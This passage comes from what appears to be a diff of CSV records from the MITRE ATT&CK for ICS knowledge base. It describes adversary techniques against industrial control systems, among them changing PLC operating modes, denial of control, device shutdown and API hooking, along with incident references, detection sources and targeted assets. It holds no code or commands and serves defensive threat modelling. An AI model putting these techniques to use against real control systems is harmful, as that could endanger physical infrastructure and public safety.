Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603)",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T0804,mitre-ics-attack,T0804,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Application Log: Application Log Content', 'Process: Process Termination', 'Operational Databases: Process History/Live Data', 'Operational Databases: Process/Event Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Input/Output Server', 'Device Configuration/Parameters']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0807', 'external_id': 'T0807'}, {'source_name': 'EAttack Command-Line Interface', 'description': 'Enterprise ATT&CK. (2018, January 11). Command-Line Interface. Retrieved May 17, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1059'}]",,attack-pattern,attack-pattern--24a9253e-8948-4c98-b751-8e2aee53127c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Command-Line Interface,"Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: EAttack Command-Line Interface) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. -In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.",attack-pattern--2dc2b567-8821-49f9-9045-8740f3d0b958,attack-pattern,['execution-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'Process command-line parameters', 'Process monitoring']",,,,['Engineering Workstation'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0869', 'source_name': 'mitre-ics-attack', 'external_id': 'T0869'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'command-and-control-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0869,mitre-ics-attack,T0869,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Standard Application Layer Protocol,"Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. +CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. -Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.",attack-pattern--e076cca8-2f08-45c9-aff7-ea5ac798b387,attack-pattern,['command-and-control-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Process use of network', 'Malware reverse engineering', 'Process monitoring', 'Network protocol analysis', 'Packet capture']",,,,"['Human-Machine Interface', 'Control Server', 'Data Historian', 'Engineering Workstation']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0863', 'source_name': 'mitre-ics-attack', 'external_id': 'T0863'}, {'description': 'Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.', 'source_name': 'BlackEnergy - Booz Allen Hamilton', 'url': 'https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf'}, {'description': 'Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.', 'source_name': 'Havex - F-Secure', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0863,mitre-ics-attack,T0863,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,User Execution,"Adversaries may rely on a targeted organizations’ user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. +Many controllers have CLI interfaces for management purposes. -Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure)",attack-pattern--2736b752-4ec5-4421-a230-8977dea7649c,attack-pattern,['execution-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Anti-virus', 'Process command-line parameters', 'Process monitoring']",,,,"['Engineering Workstation', 'Human-Machine Interface']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0803', 'source_name': 'mitre-ics-attack', 'external_id': 'T0803'}, {'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'source_name': 'Ukraine15 - EISAC - 201603', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0803,mitre-ics-attack,T0803,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Block Command Message,"Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603)",attack-pattern--008b8f56-6107-48be-aa9f-746f927dbb61,attack-pattern,['inhibit-response-function'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm History', 'Network protocol analysis', 'Packet capture']",,,,['Field Controller/RTU/PLC/IED'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0858', 'source_name': 'mitre-ics-attack', 'external_id': 'T0858'}, {'description': 'N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', 'source_name': 'Forum Automation PLC Operating Modes October 2017', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'}, {'description': 'Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', 'source_name': 'Omrom PLC Different Operating Modes', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'}, {'description': 'Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', 'source_name': 'Machine Information Systems How PLCs Work 2007', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'}, {'description': 'PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', 'source_name': 'PLCgurus PLC Basics 2021', 'url': 'https://www.plcgurus.net/plc-basics/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0858,mitre-ics-attack,T0858,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Change Operating Mode,"Adversaries Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controller’s API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controller’s API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off.(Citation: Forum Automation PLC Operating Modes October 2017) Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode.(Citation: Omrom PLC Different Operating Modes)(Citation: Machine Information Systems How PLCs Work 2007)(Citation: Forum Automation PLC Operating Modes October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - Allows for remote changes to a PLC’s operation mode.(Citation: PLCgurus PLC Basics 2021) Stop - The PLC and program is stopped, while in this mode, outputs are forced off.(Citation: Machine Information Systems How PLCs Work 2007) Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.(Citation: Machine Information Systems How PLCs Work 2007)Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.(Citation: Omrom PLC Different Operating Modes)",attack-pattern--2883c520-7957-46ca-89bd-dab1ad53b601,attack-pattern,"['execution-ics', 'evasion-ics']",2021-04-13T11:42:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm history', 'Sequential event recorder', 'Network protocol analysis', 'Packet capture']",,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0879', 'source_name': 'mitre-ics-attack', 'external_id': 'T0879'}, {'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'source_name': 'Maroochy - MITRE - 200808', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'source_name': 'LodzTram-LondonReconnections-2017-12', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'}, {'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'source_name': 'LodzTram-InHomelandSecurity-2008-02', 'url': 'https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'}, {'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'source_name': 'LodzTram-Schneier-2008-01', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'}, {'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'source_name': 'German Steel Mill - German Federal Office for Information Security - 2014', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?%20blob=publicationFile&v=3'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0879,mitre-ics-attack,T0879,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Damage to Property,"Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. +Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.",['execution-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0807,mitre-ics-attack,T0807,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0879', 'external_id': 'T0879'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'LodzTram-LondonReconnections-2017-12', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'}, {'source_name': 'LodzTram-InHomelandSecurity-2008-02', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'}, {'source_name': 'LodzTram-Schneier-2008-01', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'}, {'source_name': 'German Steel Mill - German Federal Office for Information Security - 2014', 'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?%20blob=publicationFile&v=3'}]",,attack-pattern,attack-pattern--83ebd22f-b401-4d59-8219-2294172cf916,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Damage to Property,"Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. (Citation: German Steel Mill - German Federal Office for Information Security - 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. (Citation: Maroochy - MITRE - 200808) -A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: LodzTram-Schneier-2008-01) Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. (Citation: LodzTram-InHomelandSecurity-2008-02) Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside. (Citation: LodzTram-Schneier-2008-01)",attack-pattern--83ebd22f-b401-4d59-8219-2294172cf916,attack-pattern,['impact-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T813', 'source_name': 'mitre-ics-attack', 'external_id': 'T0813'}, {'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'source_name': 'Reference - Corero', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'source_name': 'Reference - SANS - 201510', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.', 'source_name': 'Reference - RIoT'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T813,mitre-ics-attack,T0813,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Denial of Control,"Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) +A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: LodzTram-Schneier-2008-01) Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. (Citation: LodzTram-InHomelandSecurity-2008-02) Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside. (Citation: LodzTram-Schneier-2008-01)",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0879,mitre-ics-attack,T0879,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T813', 'external_id': 'T0813'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'}]",,attack-pattern,attack-pattern--e33c7ecc-5a38-497f-beb2-a9a2049a4c20,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-21T16:29:26.506Z,Denial of Control,"Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) -In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. In the 2017 Dallas Siren incident operators were unable to disable the false alarms from the Office of Emergency Management headquarters.",attack-pattern--e33c7ecc-5a38-497f-beb2-a9a2049a4c20,attack-pattern,['impact-ics'],2021-04-21T16:29:26.506Z,2020-05-21T17:43:26.506Z,,,,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0816', 'source_name': 'mitre-ics-attack', 'external_id': 'T0816'}, {'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'source_name': 'Ukraine15 - EISAC - 201603', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0816,mitre-ics-attack,T0816,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Device Restart/Shutdown,"Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands. Unexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states. A device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect.",attack-pattern--25dfc8ad-bd73-4dfd-84a9-3c3d383f76e9,attack-pattern,['inhibit-response-function'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Sequential event recorder', 'Alarm history', 'Network protocol analysis', 'Packet capture']",,,,['Field Controller/RTU/PLC/IED'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0820', 'source_name': 'mitre-ics-attack', 'external_id': 'T0820'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0820,mitre-ics-attack,T0820,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploitation for Evasion,"Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. +In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. In the 2017 Dallas Siren incident operators were unable to disable the false alarms from the Office of Emergency Management headquarters.",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T813,mitre-ics-attack,T0813,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0816', 'external_id': 'T0816'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]",,attack-pattern,attack-pattern--25dfc8ad-bd73-4dfd-84a9-3c3d383f76e9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Device Restart/Shutdown,"Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands. Unexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states. A device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect.",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T0816,mitre-ics-attack,T0816,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Device Alarm']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0820', 'external_id': 'T0820'}]",,attack-pattern,attack-pattern--9f947a1c-3860-48a8-8af0-a2dfa3efde03,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Exploitation for Evasion,"Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. -Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware",attack-pattern--9f947a1c-3860-48a8-8af0-a2dfa3efde03,attack-pattern,['evasion-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Detonation chamber', 'Malware reverse engineering']",,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0874', 'source_name': 'mitre-ics-attack', 'external_id': 'T0874'}, {'description': 'Enterprise ATT&CK. (n.d.). Hooking. Retrieved October 27, 2019.', 'source_name': 'EAttack Hooking', 'url': 'https://attack.mitre.org/techniques/T1179/'}, {'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'source_name': 'Stuxnet - Symantec - 201102', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'privilege-escalation-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0874,mitre-ics-attack,T0874,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hooking,"Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: EAttack Hooking) +Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware",['evasion-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0820,mitre-ics-attack,T0820,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'privilege-escalation-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0874', 'external_id': 'T0874'}, {'source_name': 'EAttack Hooking', 'description': 'Enterprise ATT&CK. (n.d.). Hooking. Retrieved October 27, 2019.', 'url': 'https://attack.mitre.org/techniques/T1179/'}, {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}]",,attack-pattern,attack-pattern--ab390887-afc0-4715-826d-b1b167d522ae,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Hooking,"Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: EAttack Hooking) -One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Stuxnet - Symantec - 201102)",attack-pattern--ab390887-afc0-4715-826d-b1b167d522ae,attack-pattern,"['execution-ics', 'privilege-escalation-ics']",2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'Windows registry', 'API monitoring']",,,,"['Windows', 'Engineering Workstation']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T825', 'source_name': 'mitre-ics-attack', 'external_id': 'T0825'}, {'description': 'Keith Stouffer. (2015, May). Guide to Industrial Control Systems (ICS) Security. Retrieved March 28, 2018.', 'source_name': 'Guidance - 